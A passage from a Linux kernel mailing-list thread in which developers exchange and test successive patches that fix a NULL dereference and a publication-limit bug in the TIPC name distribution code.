index c677f6f082df..cadf4e8c3e66 100644
--- a/net/tipc/name_distr.h
+++ b/net/tipc/name_distr.h
@@ -69,7 +69,8 @@ struct distr_item {
 
 struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
 struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
 void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
 		    u16 *rcv_nxt, bool *open);
 void tipc_named_reinit(struct net *net);
diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c
index 253c72d1366e..d44d65fa524e 100644
--- a/net/tipc/name_table.c
+++ b/net/tipc/name_table.c
@@ -763,6 +763,7 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua,
 					 struct tipc_socket_addr *sk, u32 key)
 {
 	struct name_table *nt = tipc_name_table(net);
+	u32 max_user_pub = TIPC_MAX_PUBL - 1;
 	struct tipc_net *tn = tipc_net(net);
 	struct publication *p = NULL;
 	struct sk_buff *skb = NULL;
@@ -770,14 +771,26 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua,
 
 	spin_lock_bh(&tn->nametbl_lock);
 
-	if (nt->local_publ_count >= TIPC_MAX_PUBL) {
-		pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL);
+	/* Reserve one entry for node state service type because it has cluster
+	 * scope and it is distributed in bulk. So, the maximum number of user's
+	 * publications is (TIPC_MAX_PUBL - 1).
+	 */
+	if (nt->local_publ_count >= max_user_pub) {
+		pr_warn("Bind failed, max limit %u reached\n", max_user_pub);
 		goto exit;
 	}
 
 	p = tipc_nametbl_insert_publ(net, ua, sk, key);
 	if (p) {
-		nt->local_publ_count++;
+		/* Not count node state, link state and topology server types
+		 * so that maximum nt->local_publ_count does not prevent
+		 * protocol service types from being inserted to the name
+		 * table.
+		 */
+		if (ua->sr.type != TIPC_NODE_STATE &&
+		    ua->sr.type != TIPC_LINK_STATE &&
+		    ua->sr.type != TIPC_TOP_SRV)
+			nt->local_publ_count++;
 		skb = tipc_named_publish(net, p);
 	}
 	rc_dests = nt->rc_dests;
@@ -810,7 +823,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua,
 
 	p = tipc_nametbl_remove_publ(net, ua, sk, key);
 	if (p) {
-		nt->local_publ_count--;
+		if (p->sr.type != TIPC_NODE_STATE &&
+		    p->sr.type != TIPC_LINK_STATE &&
+		    p->sr.type != TIPC_TOP_SRV)
+			nt->local_publ_count--;
 		skb = tipc_named_withdraw(net, p);
 		list_del_init(&p->binding_sock);
 		kfree_rcu(p, rcu);
diff --git a/net/tipc/net.c b/net/tipc/net.c
index 7e65d0b0c4a8..75ac4e3cd01a 100644
--- a/net/tipc/net.c
+++ b/net/tipc/net.c
@@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr)
 	tipc_sk_reinit(net);
 	tipc_mon_reinit_self(net);
 	tipc_nametbl_publish(net, &ua, &sk, addr);
+	atomic_set(&tn->finalized, 1);
+	/* Wake up nodes waiting for distributing bulk of publications
+	 * if applicable.
+	 */
+	tipc_node_wakeup(net);
 }
 
 void tipc_net_finalize_work(struct work_struct *work)
diff --git a/net/tipc/node.c b/net/tipc/node.c
index 8e4ef2630ae4..cbe398f888b9 100644
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -111,6 +111,9 @@ struct tipc_bclink_entry {
  * @peer_net: peer's net namespace
  * @peer_hash_mix: hash for this peer (FIXME)
  * @crypto_rx: RX crypto handler
+ * @work: work item for bulk distribution of cluster scope publications
+ * @work_scheduled: flag to indicate the work has been scheduled
+ * @finalized: flag to wake up scheduled work
  */
 struct tipc_node {
 	u32 addr;
@@ -145,6 +148,9 @@ struct tipc_node {
 #ifdef CONFIG_TIPC_CRYPTO
 	struct tipc_crypto *crypto_rx;
 #endif
+	struct work_struct work;
+	atomic_t work_scheduled;
+	atomic_t finalized;
 };
 
 /* Node FSM states and events:
@@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
 	write_unlock_bh(&n->lock);
 }
 
+static void tipc_node_down(struct tipc_node *n)
+{
+	u32 bearer_id, bearer_cnt;
+
+	tipc_node_read_lock(n);
+	bearer_cnt = n->link_cnt;
+	tipc_node_read_unlock(n);
+	for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++)
+		tipc_node_link_down(n, bearer_id, false);
+}
+
+static void tipc_node_dist_bulk(struct work_struct *work)
+{
+	struct tipc_node *node = container_of(work, struct tipc_node, work);
+	struct tipc_net *tn = tipc_net(node->net);
+
+	wait_var_event(&node->finalized, atomic_read(&node->finalized));
+
+	/* node is down */
+	if (!atomic_read(&node->work_scheduled))
+		goto exit;
+
+	/* Stop waking up work in tipc_node_timeout() */
+	atomic_set(&node->work_scheduled, 0);
+
+	if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0)
+		tipc_node_down(node);
+
+exit:
+	if (atomic_dec_and_test(&tn->node_wq_count))
+		wake_up_var(&tn->node_wq_count);
+
+	tipc_node_put(node);
+}
+
+static void tipc_node_cancel_work(struct tipc_node *node)
+{
+	if (atomic_read(&node->work_scheduled)) {
+		struct tipc_net *tn = tipc_net(node->net);
+
+		/* Wake up scheduled work if it is waiting. */
+		if (!atomic_read(&node->finalized)) {
+			atomic_set(&node->work_scheduled, 0);
+			atomic_set(&node->finalized, 1);
+			wake_up_var(&node->finalized);
+		}
+
+		/* Work is pending */
+		if (cancel_work(&node->work)) {
+			if (atomic_dec_and_test(&tn->node_wq_count))
+				wake_up_var(&tn->node_wq_count);
+			tipc_node_put(node);
+		}
+	}
+}
+
 static void tipc_node_write_unlock(struct tipc_node *n)
 	__releases(n->lock)
 {
@@ -421,11 +483,30 @@ static void tipc_node_write_unlock(struct tipc_node *n)
 
 	write_unlock_bh(&n->lock);
 
-	if (flags & TIPC_NOTIFY_NODE_DOWN)
+	if (flags & TIPC_NOTIFY_NODE_DOWN) {
 		tipc_publ_notify(net, publ_list, node, n->capabilities);
-
-	if (flags & TIPC_NOTIFY_NODE_UP)
-		tipc_named_node_up(net, node, n->capabilities);
+		tipc_node_cancel_work(n);
+	}
+
+	if (flags & TIPC_NOTIFY_NODE_UP) {
+		struct tipc_net *tn = tipc_net(net);
+		int rc = 0;
+
+		rc = tipc_named_node_up(net, node, n->capabilities);
+		/* Defer bulk distribution to work queue */
+		if (rc > 0) {
+			atomic_set(&n->work_scheduled, 1);
+			atomic_inc(&tn->node_wq_count);
+			tipc_node_get(n);
+			if (!schedule_work(&n->work))
+				tipc_node_put(n);
+		} else if (rc < 0) {
+			/* Bring the node down to start over bulk distribution
+			 * when the first link is up again.
+			 */
+			tipc_node_down(n);
+		}
+	}
 
 	if (flags & TIPC_NOTIFY_LINK_UP) {
 		tipc_mon_peer_up(net, node, bearer_id);
@@ -564,6 +645,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
 	INIT_LIST_HEAD(&n->list);
 	INIT_LIST_HEAD(&n->publ_list);
 	INIT_LIST_HEAD(&n->conn_sks);
+	INIT_WORK(&n->work, tipc_node_dist_bulk);
+	atomic_set(&n->work_scheduled, 0);
+	atomic_set(&n->finalized, 0);
 	skb_queue_head_init(&n->bc_entry.namedq);
 	skb_queue_head_init(&n->bc_entry.inputq1);
 	__skb_queue_head_init(&n->bc_entry.arrvq);
@@ -653,6 +737,21 @@ void tipc_node_stop(struct net *net)
 	spin_unlock_bh(&tn->node_list_lock);
 }
 
+void tipc_node_wakeup(struct net *net)
+{
+	struct tipc_net *tn = tipc_net(net);
+	struct tipc_node *node;
+
+	rcu_read_lock();
+	list_for_each_entry_rcu(node, &tn->node_list, list) {
+		if (atomic_read(&node->work_scheduled)) {
+			atomic_set(&node->finalized, 1);
+			wake_up_var(&node->finalized);
+		}
+	}
+	rcu_read_unlock();
+}
+
 void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr)
 {
 	struct tipc_node *n;
@@ -801,6 +900,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer)
 static void tipc_node_timeout(struct timer_list *t)
 {
 	struct tipc_node *n = timer_container_of(n, t, timer);
+	struct tipc_net *tn = tipc_net(n->net);
 	struct tipc_link_entry *le;
 	struct sk_buff_head xmitq;
 	int remains = n->link_cnt;
@@ -814,6 +914,11 @@ static void tipc_node_timeout(struct timer_list *t)
 		return;
 	}
 
+	if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) {
+		atomic_set(&n->finalized, 1);
+		wake_up_var(&n->finalized);
+	}
+
 #ifdef CONFIG_TIPC_CRYPTO
 	/* Take any crypto key related actions first */
 	tipc_crypto_timeout(n->crypto_rx);
diff --git a/net/tipc/node.h b/net/tipc/node.h
index 154a5bbb0d29..c7bc3bc05328 100644
--- a/net/tipc/node.h
+++ b/net/tipc/node.h
@@ -75,6 +75,7 @@ enum {
 #define INVALID_BEARER_ID -1
 
 void tipc_node_stop(struct net *net);
+void tipc_node_wakeup(struct net *net);
 bool tipc_node_get_id(struct net *net, u32 addr, u8 *id);
 u32 tipc_node_get_addr(struct tipc_node *node);
 char *tipc_node_get_id_str(struct tipc_node *node);
-- 
2.43.0

^ permalink raw reply	[flat|nested] 14+ messages in thread

* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-28 12:52           ` Tung Quang Nguyen
@ 2026-07-28 17:57             ` Weiming Shi
  2026-07-29  3:50               ` Tung Quang Nguyen
  0 siblings, 1 reply; 14+ messages in thread
From: Weiming Shi @ 2026-07-28 17:57 UTC (permalink / raw)
  To: Tung Quang Nguyen
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月28日周二 20:52写道:
>
> >Hi Tung,
> >
> >Just following up on the issue. Let me know if you need any help from my side
> >with testing or validation.
> Could you please verify below patch to see if it fixes all observed issues ?
>
> Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
> ---
>  net/tipc/core.c       |   3 ++
>  net/tipc/core.h       |   4 ++
>  net/tipc/name_distr.c |  91 ++++++++++++++++++++++++++++++----
>  net/tipc/name_distr.h |   3 +-
>  net/tipc/name_table.c |  24 +++++++--
>  net/tipc/net.c        |   5 ++
>  net/tipc/node.c       | 113 ++++++++++++++++++++++++++++++++++++++++--
>  net/tipc/node.h       |   1 +
>  8 files changed, 226 insertions(+), 18 deletions(-)
>
> diff --git a/net/tipc/core.c b/net/tipc/core.c
> index 315975c3be81..1e1fe78cc4ee 100644
> --- a/net/tipc/core.c
> +++ b/net/tipc/core.c
> @@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net)
>         tn->trial_addr = 0;
>         tn->addr_trial_end = 0;
>         tn->capabilities = TIPC_NODE_CAPABILITIES;
> +       atomic_set(&tn->node_wq_count, 0);
> +       atomic_set(&tn->finalized, 0);
>         INIT_WORK(&tn->work, tipc_net_finalize_work);
>         memset(tn->node_id, 0, sizeof(tn->node_id));
>         memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
> @@ -119,6 +121,7 @@ static void __net_exit tipc_exit_net(struct net *net)
>  #ifdef CONFIG_TIPC_CRYPTO
>         tipc_crypto_stop(&tipc_net(net)->crypto_tx);
>  #endif
> +       wait_var_event(&tn->node_wq_count, !atomic_read(&tn->node_wq_count));
>         wait_var_event(&tn->wq_count, atomic_read(&tn->wq_count) == 0);
>  }
>
> diff --git a/net/tipc/core.h b/net/tipc/core.h
> index 9ce5f9ff6cc0..be335ce83389 100644
> --- a/net/tipc/core.h
> +++ b/net/tipc/core.h
> @@ -145,6 +145,10 @@ struct tipc_net {
>         struct work_struct work;
>         /* The numbers of work queues in schedule */
>         atomic_t wq_count;
> +       /* The numbers of works of created nodes in schedule */
> +       atomic_t node_wq_count;
> +       /* flag to wake up scheduled works of created nodes */
> +       atomic_t finalized;
>  };
>
>  static inline struct tipc_net *tipc_net(struct net *net)
> diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
> index ba4f4906e13b..e701824bbb2a 100644
> --- a/net/tipc/name_distr.c
> +++ b/net/tipc/name_distr.c
> @@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
>   * @pls: linked list of publication items to be packed into buffer chain
>   * @seqno: sequence number for this message
>   */
> -static void named_distribute(struct net *net, struct sk_buff_head *list,
> -                            u32 dnode, struct list_head *pls, u16 seqno)
> +static int named_distribute(struct net *net, struct sk_buff_head *list,
> +                           u32 dnode, struct list_head *pls, u16 seqno)
>  {
>         struct publication *publ;
>         struct sk_buff *skb = NULL;
> @@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
>                         skb = named_prepare_buf(net, PUBLICATION, msg_rem,
>                                                 dnode);
>                         if (!skb) {
> +                               __skb_queue_purge(list);
>                                 pr_warn("Bulk publication failure\n");
> -                               return;
> +                               return 1;
>                         }
>                         hdr = buf_msg(skb);
>                         msg_set_bc_ack_invalid(hdr, true);
> @@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
>         hdr = buf_msg(skb_peek_tail(list));
>         msg_set_last_bulk(hdr);
>         msg_set_named_seqno(hdr, seqno);
> +
> +       return 0;
>  }
>
>  /**
> - * tipc_named_node_up - tell specified node about all publications by this node
> + * tipc_named_distribute - distribute all publications to specified node
>   * @net: the associated network namespace
>   * @dnode: destination node
> - * @capabilities: peer node's capabilities
>   */
> -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
> +static int tipc_named_distribute(struct net *net, u32 dnode)
>  {
>         struct name_table *nt = tipc_name_table(net);
>         struct tipc_net *tn = tipc_net(net);
> @@ -212,15 +214,86 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
>
>         __skb_queue_head_init(&head);
>         spin_lock_bh(&tn->nametbl_lock);
> -       if (!(capabilities & TIPC_NAMED_BCAST))
> -               nt->rc_dests++;
>         seqno = nt->snd_nxt;
>         spin_unlock_bh(&tn->nametbl_lock);
>
>         read_lock_bh(&nt->cluster_scope_lock);
> -       named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
> +       if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
> +               read_unlock_bh(&nt->cluster_scope_lock);
> +               return -ENOBUFS;
> +       }
>         tipc_node_xmit(net, &head, dnode, 0);
>         read_unlock_bh(&nt->cluster_scope_lock);
> +
> +       return 0;
> +}
> +
> +/**
> + * tipc_named_node_up - tell specified node about all publications by this node
> + * @net: the associated network namespace
> + * @dnode: destination node
> + * @capabilities: peer node's capabilities
> + */
> +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
> +{
> +       struct name_table *nt = tipc_name_table(net);
> +       struct tipc_net *tn = tipc_net(net);
> +
> +       spin_lock_bh(&tn->nametbl_lock);
> +       if (!(capabilities & TIPC_NAMED_BCAST))
> +               nt->rc_dests++;
> +       spin_unlock_bh(&tn->nametbl_lock);
> +
> +       read_lock_bh(&nt->cluster_scope_lock);
> +       /* 1. tipc_net_finalize_work() is not scheduled because of namespace
> +        *    teardown.
> +        * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed
> +        *    to insert node self address publication to nt->cluster_scope
> +        *    due to memory allocation failure.
> +        * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not
> +        *    executed yet.
> +        */
> +       if (unlikely(list_empty(&nt->cluster_scope))) {
> +               read_unlock_bh(&nt->cluster_scope_lock);
> +               return 1;
> +       }
> +       read_unlock_bh(&nt->cluster_scope_lock);
> +
> +       return tipc_named_distribute(net, dnode);
> +}
> +
> +/**
> + * tipc_named_dist_cluster_scope - distribute all publications to specified node
> + * @net: the associated network namespace
> + * @dnode: destination node
> + */
> +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
> +{
> +       struct name_table *nt = tipc_name_table(net);
> +       bool reinsert = false;
> +
> +       read_lock_bh(&nt->cluster_scope_lock);
> +       if (unlikely(list_empty(&nt->cluster_scope)))
> +               reinsert = true;
> +       read_unlock_bh(&nt->cluster_scope_lock);
> +       /* tipc_net_finalize() ---> tipc_nametbl_publish() has failed to insert
> +        * node self address publication to nt->cluster_scope due to memory
> +        * allocation failure. So, reinsert this publication.
> +        */
> +       if (reinsert) {
> +               struct tipc_net *tn = tipc_net(net);
> +               struct tipc_socket_addr sk;
> +               struct tipc_uaddr ua;
> +
> +               sk.ref = 0;
> +               sk.node = tn->node_addr;
> +               tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE,
> +                          TIPC_NODE_STATE, tn->node_addr, tn->node_addr);
> +               if (!tipc_nametbl_publish(net, &ua, &sk, tn->node_addr))
> +                       return -ENOBUFS;
> +       }
> +
> +       return tipc_named_distribute(net, dnode);
>  }
>
>  /**
> diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
> index c677f6f082df..cadf4e8c3e66 100644
> --- a/net/tipc/name_distr.h
> +++ b/net/tipc/name_distr.h
> @@ -69,7 +69,8 @@ struct distr_item {
>
>  struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
>  struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
> -void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
> +int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
> +int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
>  void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
>                     u16 *rcv_nxt, bool *open);
>  void tipc_named_reinit(struct net *net);
> diff --git a/net/tipc/name_table.c b/net/tipc/name_table.c
> index 253c72d1366e..d44d65fa524e 100644
> --- a/net/tipc/name_table.c
> +++ b/net/tipc/name_table.c
> @@ -763,6 +763,7 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua,
>                                          struct tipc_socket_addr *sk, u32 key)
>  {
>         struct name_table *nt = tipc_name_table(net);
> +       u32 max_user_pub = TIPC_MAX_PUBL - 1;
>         struct tipc_net *tn = tipc_net(net);
>         struct publication *p = NULL;
>         struct sk_buff *skb = NULL;
> @@ -770,14 +771,26 @@ struct publication *tipc_nametbl_publish(struct net *net, struct tipc_uaddr *ua,
>
>         spin_lock_bh(&tn->nametbl_lock);
>
> -       if (nt->local_publ_count >= TIPC_MAX_PUBL) {
> -               pr_warn("Bind failed, max limit %u reached\n", TIPC_MAX_PUBL);
> +       /* Reserve one entry for node state service type because it has cluster
> +        * scope and it is distributed in bulk. So, the maximum number of user's
> +        * publications is (TIPC_MAX_PUBL - 1).
> +        */
> +       if (nt->local_publ_count >= max_user_pub) {
> +               pr_warn("Bind failed, max limit %u reached\n", max_user_pub);
>                 goto exit;
>         }
>
>         p = tipc_nametbl_insert_publ(net, ua, sk, key);
>         if (p) {
> -               nt->local_publ_count++;
> +               /* Not count node state, link state and topology server types
> +                * so that maximum nt->local_publ_count does not prevent
> +                * protocol service types from being inserted to the name
> +                * table.
> +                */
> +               if (ua->sr.type != TIPC_NODE_STATE &&
> +                   ua->sr.type != TIPC_LINK_STATE &&
> +                   ua->sr.type != TIPC_TOP_SRV)
> +                       nt->local_publ_count++;
>                 skb = tipc_named_publish(net, p);
>         }
>         rc_dests = nt->rc_dests;
> @@ -810,7 +823,10 @@ void tipc_nametbl_withdraw(struct net *net, struct tipc_uaddr *ua,
>
>         p = tipc_nametbl_remove_publ(net, ua, sk, key);
>         if (p) {
> -               nt->local_publ_count--;
> +               if (p->sr.type != TIPC_NODE_STATE &&
> +                   p->sr.type != TIPC_LINK_STATE &&
> +                   p->sr.type != TIPC_TOP_SRV)
> +                       nt->local_publ_count--;
>                 skb = tipc_named_withdraw(net, p);
>                 list_del_init(&p->binding_sock);
>                 kfree_rcu(p, rcu);
> diff --git a/net/tipc/net.c b/net/tipc/net.c
> index 7e65d0b0c4a8..75ac4e3cd01a 100644
> --- a/net/tipc/net.c
> +++ b/net/tipc/net.c
> @@ -139,6 +139,11 @@ static void tipc_net_finalize(struct net *net, u32 addr)
>         tipc_sk_reinit(net);
>         tipc_mon_reinit_self(net);
>         tipc_nametbl_publish(net, &ua, &sk, addr);
> +       atomic_set(&tn->finalized, 1);
> +       /* Wake up nodes waiting for distributing bulk of publications
> +        * if applicable.
> +        */
> +       tipc_node_wakeup(net);
>  }
>
>  void tipc_net_finalize_work(struct work_struct *work)
> diff --git a/net/tipc/node.c b/net/tipc/node.c
> index 8e4ef2630ae4..cbe398f888b9 100644
> --- a/net/tipc/node.c
> +++ b/net/tipc/node.c
> @@ -111,6 +111,9 @@ struct tipc_bclink_entry {
>   * @peer_net: peer's net namespace
>   * @peer_hash_mix: hash for this peer (FIXME)
>   * @crypto_rx: RX crypto handler
> + * @work: work item for bulk distribution of cluster scope publications
> + * @work_scheduled: flag to indicate the work has been scheduled
> + * @finalized: flag to wake up scheduled work
>   */
>  struct tipc_node {
>         u32 addr;
> @@ -145,6 +148,9 @@ struct tipc_node {
>  #ifdef CONFIG_TIPC_CRYPTO
>         struct tipc_crypto *crypto_rx;
>  #endif
> +       struct work_struct work;
> +       atomic_t work_scheduled;
> +       atomic_t finalized;
>  };
>
>  /* Node FSM states and events:
> @@ -393,6 +399,62 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
>         write_unlock_bh(&n->lock);
>  }
>
> +static void tipc_node_down(struct tipc_node *n)
> +{
> +       u32 bearer_id, bearer_cnt;
> +
> +       tipc_node_read_lock(n);
> +       bearer_cnt = n->link_cnt;
> +       tipc_node_read_unlock(n);
> +       for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++)
> +               tipc_node_link_down(n, bearer_id, false);
> +}
> +
> +static void tipc_node_dist_bulk(struct work_struct *work)
> +{
> +       struct tipc_node *node = container_of(work, struct tipc_node, work);
> +       struct tipc_net *tn = tipc_net(node->net);
> +
> +       wait_var_event(&node->finalized, atomic_read(&node->finalized));
> +
> +       /* node is down */
> +       if (!atomic_read(&node->work_scheduled))
> +               goto exit;
> +
> +       /* Stop waking up work in tipc_node_timeout() */
> +       atomic_set(&node->work_scheduled, 0);
> +
> +       if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0)
> +               tipc_node_down(node);
> +
> +exit:
> +       if (atomic_dec_and_test(&tn->node_wq_count))
> +               wake_up_var(&tn->node_wq_count);
> +
> +       tipc_node_put(node);
> +}
> +
> +static void tipc_node_cancel_work(struct tipc_node *node)
> +{
> +       if (atomic_read(&node->work_scheduled)) {
> +               struct tipc_net *tn = tipc_net(node->net);
> +
> +               /* Wake up scheduled work if it is waiting. */
> +               if (!atomic_read(&node->finalized)) {
> +                       atomic_set(&node->work_scheduled, 0);
> +                       atomic_set(&node->finalized, 1);
> +                       wake_up_var(&node->finalized);
> +               }
> +
> +               /* Work is pending */
> +               if (cancel_work(&node->work)) {
> +                       if (atomic_dec_and_test(&tn->node_wq_count))
> +                               wake_up_var(&tn->node_wq_count);
> +                       tipc_node_put(node);
> +               }
> +       }
> +}
> +
>  static void tipc_node_write_unlock(struct tipc_node *n)
>         __releases(n->lock)
>  {
> @@ -421,11 +483,30 @@ static void tipc_node_write_unlock(struct tipc_node *n)
>
>         write_unlock_bh(&n->lock);
>
> -       if (flags & TIPC_NOTIFY_NODE_DOWN)
> +       if (flags & TIPC_NOTIFY_NODE_DOWN) {
>                 tipc_publ_notify(net, publ_list, node, n->capabilities);
> -
> -       if (flags & TIPC_NOTIFY_NODE_UP)
> -               tipc_named_node_up(net, node, n->capabilities);
> +               tipc_node_cancel_work(n);
> +       }
> +
> +       if (flags & TIPC_NOTIFY_NODE_UP) {
> +               struct tipc_net *tn = tipc_net(net);
> +               int rc = 0;
> +
> +               rc = tipc_named_node_up(net, node, n->capabilities);
> +               /* Defer bulk distribution to work queue */
> +               if (rc > 0) {
> +                       atomic_set(&n->work_scheduled, 1);
> +                       atomic_inc(&tn->node_wq_count);
> +                       tipc_node_get(n);
> +                       if (!schedule_work(&n->work))
> +                               tipc_node_put(n);
> +               } else if (rc < 0) {
> +                       /* Bring the node down to start over bulk distribution
> +                        * when the first link is up again.
> +                        */
> +                       tipc_node_down(n);
> +               }
> +       }
>
>         if (flags & TIPC_NOTIFY_LINK_UP) {
>                 tipc_mon_peer_up(net, node, bearer_id);
> @@ -564,6 +645,9 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
>         INIT_LIST_HEAD(&n->list);
>         INIT_LIST_HEAD(&n->publ_list);
>         INIT_LIST_HEAD(&n->conn_sks);
> +       INIT_WORK(&n->work, tipc_node_dist_bulk);
> +       atomic_set(&n->work_scheduled, 0);
> +       atomic_set(&n->finalized, 0);
>         skb_queue_head_init(&n->bc_entry.namedq);
>         skb_queue_head_init(&n->bc_entry.inputq1);
>         __skb_queue_head_init(&n->bc_entry.arrvq);
> @@ -653,6 +737,21 @@ void tipc_node_stop(struct net *net)
>         spin_unlock_bh(&tn->node_list_lock);
>  }
>
> +void tipc_node_wakeup(struct net *net)
> +{
> +       struct tipc_net *tn = tipc_net(net);
> +       struct tipc_node *node;
> +
> +       rcu_read_lock();
> +       list_for_each_entry_rcu(node, &tn->node_list, list) {
> +               if (atomic_read(&node->work_scheduled)) {
> +                       atomic_set(&node->finalized, 1);
> +                       wake_up_var(&node->finalized);
> +               }
> +       }
> +       rcu_read_unlock();
> +}
> +
>  void tipc_node_subscribe(struct net *net, struct list_head *subscr, u32 addr)
>  {
>         struct tipc_node *n;
> @@ -801,6 +900,7 @@ static bool tipc_node_cleanup(struct tipc_node *peer)
>  static void tipc_node_timeout(struct timer_list *t)
>  {
>         struct tipc_node *n = timer_container_of(n, t, timer);
> +       struct tipc_net *tn = tipc_net(n->net);
>         struct tipc_link_entry *le;
>         struct sk_buff_head xmitq;
>         int remains = n->link_cnt;
> @@ -814,6 +914,11 @@ static void tipc_node_timeout(struct timer_list *t)
>                 return;
>         }
>
> +       if (atomic_read(&tn->finalized) && atomic_read(&n->work_scheduled)) {
> +               atomic_set(&n->finalized, 1);
> +               wake_up_var(&n->finalized);
> +       }
> +
>  #ifdef CONFIG_TIPC_CRYPTO
>         /* Take any crypto key related actions first */
>         tipc_crypto_timeout(n->crypto_rx);
> diff --git a/net/tipc/node.h b/net/tipc/node.h
> index 154a5bbb0d29..c7bc3bc05328 100644
> --- a/net/tipc/node.h
> +++ b/net/tipc/node.h
> @@ -75,6 +75,7 @@ enum {
>  #define INVALID_BEARER_ID -1
>
>  void tipc_node_stop(struct net *net);
> +void tipc_node_wakeup(struct net *net);
>  bool tipc_node_get_id(struct net *net, u32 addr, u8 *id);
>  u32 tipc_node_get_addr(struct tipc_node *node);
>  char *tipc_node_get_id_str(struct tipc_node *node);
> --
> 2.43.0

Hi Tung,

I tested this on v7.2-rc5 with the same reproducer from my previous
mail. The NULL dereference is fixed, and the reproducer completed the
full 400-second run. I did not see the parked worker or hung-task
report after bringing the bearer down.

But I found one remaining issue in the name table change. Once
local_publ_count reaches 65534, this check rejects all publications,
including TIPC_NODE_STATE:

        if (nt->local_publ_count >= max_user_pub)
                goto exit;

The protocol type check only happens later when updating the counter,
so the reserved slot cannot actually be used.

I see this immediately after both node numbers are assigned:

[    4.023556] tipc: Node number set to 572662306
[    4.028422] tipc: Bind failed, max limit 65534 reached
[    4.029343] tipc: Node number set to 286331153
[    4.033912] tipc: Bind failed, max limit 65534 reached

After that, the bind failure repeats together with type-2
"Failed to remove unknown binding" messages.

It looks like the limit check also needs to skip NODE_STATE,
LINK_STATE and TOP_SRV, as the counter update does.

Thanks,
Weiming Shi

^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-28 17:57             ` Weiming Shi
@ 2026-07-29  3:50               ` Tung Quang Nguyen
  2026-07-29  4:18                 ` Weiming Shi
  0 siblings, 1 reply; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-29  3:50 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev,
	tipc-discussion

>It looks like the limit check also needs to skip NODE_STATE, LINK_STATE and
>TOP_SRV, as the counter update does.
I fixed the missing skip for these protocol service types and another counter leak in below updated patch.
Could you please verify it ?

Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
---
 net/tipc/core.c       |   3 ++
 net/tipc/core.h       |   4 ++
 net/tipc/name_distr.c |  91 +++++++++++++++++++++++++++++----
 net/tipc/name_distr.h |   3 +-
 net/tipc/name_table.c |  30 +++++++++--
 net/tipc/net.c        |   5 ++
 net/tipc/node.c       | 115 ++++++++++++++++++++++++++++++++++++++++--
 net/tipc/node.h       |   1 +
 8 files changed, 234 insertions(+), 18 deletions(-)

diff --git a/net/tipc/core.c b/net/tipc/core.c
index 315975c3be81..1e1fe78cc4ee 100644
--- a/net/tipc/core.c
+++ b/net/tipc/core.c
@@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net)
 	tn->trial_addr = 0;
 	tn->addr_trial_end = 0;
 	tn->capabilities = TIPC_NODE_CAPABILITIES;
+	atomic_set(&tn->node_wq_count, 0);
+	atomic_set(&tn->finalized, 0);
 	INIT_WORK(&tn->work, tipc_net_finalize_work);
 	memset(tn->node_id, 0, sizeof(tn->node_id));
 	memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
